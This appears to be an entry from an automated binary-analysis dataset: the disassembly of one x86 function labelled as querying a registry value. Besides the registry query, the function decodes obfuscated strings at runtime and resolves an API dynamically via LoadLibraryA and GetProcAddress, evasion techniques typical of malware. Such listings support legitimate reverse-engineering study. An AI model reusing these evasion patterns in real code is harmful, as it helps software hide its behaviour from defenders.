Function at 0x41b203
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42419e
mov eax, dword fs:[0]
push eax
sub esp, 0x43c
mov eax, dword [0x42e050]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x42c], ecx
lea eax, [ebp - 0x420]
push eax
call fcn.00403267
lea eax, [ebp - 0x428]
push eax
call fcn.00403267
add esp, 8
mov dword [ebp - 4], 0
lea eax, [ebp - 0x428]
push eax
call fcn.00403267
add esp, 4
push 0
push 0x2b
mov esi, dword [ebp - 0x424]
push esi
mov ebx, dword [ebp - 0x428]
push ebx
call fcn.0041e430
imul eax, eax, 0x2b
mov edi, ebx
sub edi, eax
push 0
push 0x2f
push esi
push ebx
call fcn.0041e430
imul eax, eax, 0x2f
sub eax, ebx
add eax, edi
add eax, edi
add eax, eax
mov dword [ebp - 0x440], eax
push 0x42c8e8
lea eax, [ebp - 0x440]
push eax
call fcn.00403a91
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x420]
push eax
call fcn.00403267
add esp, 4
mov byte [ebp - 4], 2
lea eax, [ebp - 0x428]
push eax
call fcn.00403267
add esp, 4
push 0
push 0x31
mov esi, dword [ebp - 0x424]
push esi
mov ebx, dword [ebp - 0x428]
push ebx
call fcn.0041e430
imul eax, eax, 0x31
mov edi, ebx
sub edi, eax
push 0
push 0x35
push esi
push ebx
call fcn.0041e430
imul eax, eax, 0x35
sub eax, ebx
add eax, edi
add eax, edi
add eax, eax
mov dword [ebp - 0x43c], eax
push 0x42c8e8
lea eax, [ebp - 0x43c]
push eax
call fcn.00403a91
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x42c]
mov dword [ebp - 0x448], eax
lea eax, [ebp - 0x420]
push eax
call fcn.00403267
add esp, 4
push 0
push 0xd
mov ebx, dword [ebp - 0x41c]
push ebx
mov edi, dword [ebp - 0x420]
push edi
call fcn.0041e430
push 0
push 0xd
push edx
push eax
call fcn.00419e10
mov ecx, edi
sub ecx, eax
mov dword [ebp - 0x424], ecx
mov esi, ebx
sbb esi, edx
push 0
push 8
push ebx
push edi
call fcn.0041e4e0
cmp edx, esi
jl 0x41b2ef
jg 0x41b2da
cmp eax, dword [ebp - 0x424]
jbe 0x41b2ef
lea eax, [ebp - 0x430]
push eax
push 0x20019
push 0
push 0x42b7dc
jmp 0x41b302
lea eax, [ebp - 0x430]
push eax
push 0x20019
push 0
push 0x42b7e0
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41b33e
mov dword [ebp - 0x424], 0x400
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x414]
push eax
push 0
push 0
push 0x42b7e4
push dword [ebp - 0x430]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov byte [ebp - 4], 4
lea eax, [ebp - 0x420]
push eax
call fcn.00403267
add esp, 4
push 0
push 0x27
mov esi, dword [ebp - 0x41c]
push esi
mov ebx, dword [ebp - 0x420]
push ebx
call fcn.0041e430
imul eax, eax, 0x27
mov edi, ebx
sub edi, eax
push 0
push 0x2b
push esi
push ebx
call fcn.0041e430
imul eax, eax, 0x2b
sub eax, ebx
add eax, edi
add eax, edi
add eax, eax
mov dword [ebp - 0x444], eax
push 0x42c8e8
lea eax, [ebp - 0x444]
push eax
call fcn.00403a91
lea eax, [ebp - 0x420]
push eax
call fcn.00403267
add esp, 4
push 0
push 0x18
push dword [ebp - 0x41c]
mov edi, dword [ebp - 0x420]
push edi
call fcn.0041e430
lea eax, [eax + eax*2]
shl eax, 3
sub edi, eax
mov ecx, 1
mov dword [ebp - 0x434], ecx
xor esi, esi
mov dword [ebp - 0x438], esi
mov bl, cl
mov byte [ebp - 0x415], bl
mov eax, edi
xor edx, edx
div ecx
cmp eax, 0xa
jae 0x41b3f3
xor bl, bl
jmp 0x41b3fe
lea ecx, [ecx + ecx*4]
add ecx, ecx
mov dword [ebp - 0x434], ecx
inc esi
test bl, bl
jne 0x41b3e4
mov byte [ebp - 0x415], bl
mov dword [ebp - 0x438], esi
lea eax, [ebp - 0x420]
push eax
call fcn.00403267
add esp, 4
mov ecx, str.65_3_118_82_75_56_109_37_109_115_76_47
call fcn.00401170
push eax
mov ecx, str.77_35_80_72_103_23_53_84_44_98_78_55
call fcn.00401170
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41b456
call eax
test eax, eax
je 0x41b456
mov ecx, dword [ebp - 0x42c]
call fcn.0041b4a0
mov eax, 0x41b45c
ret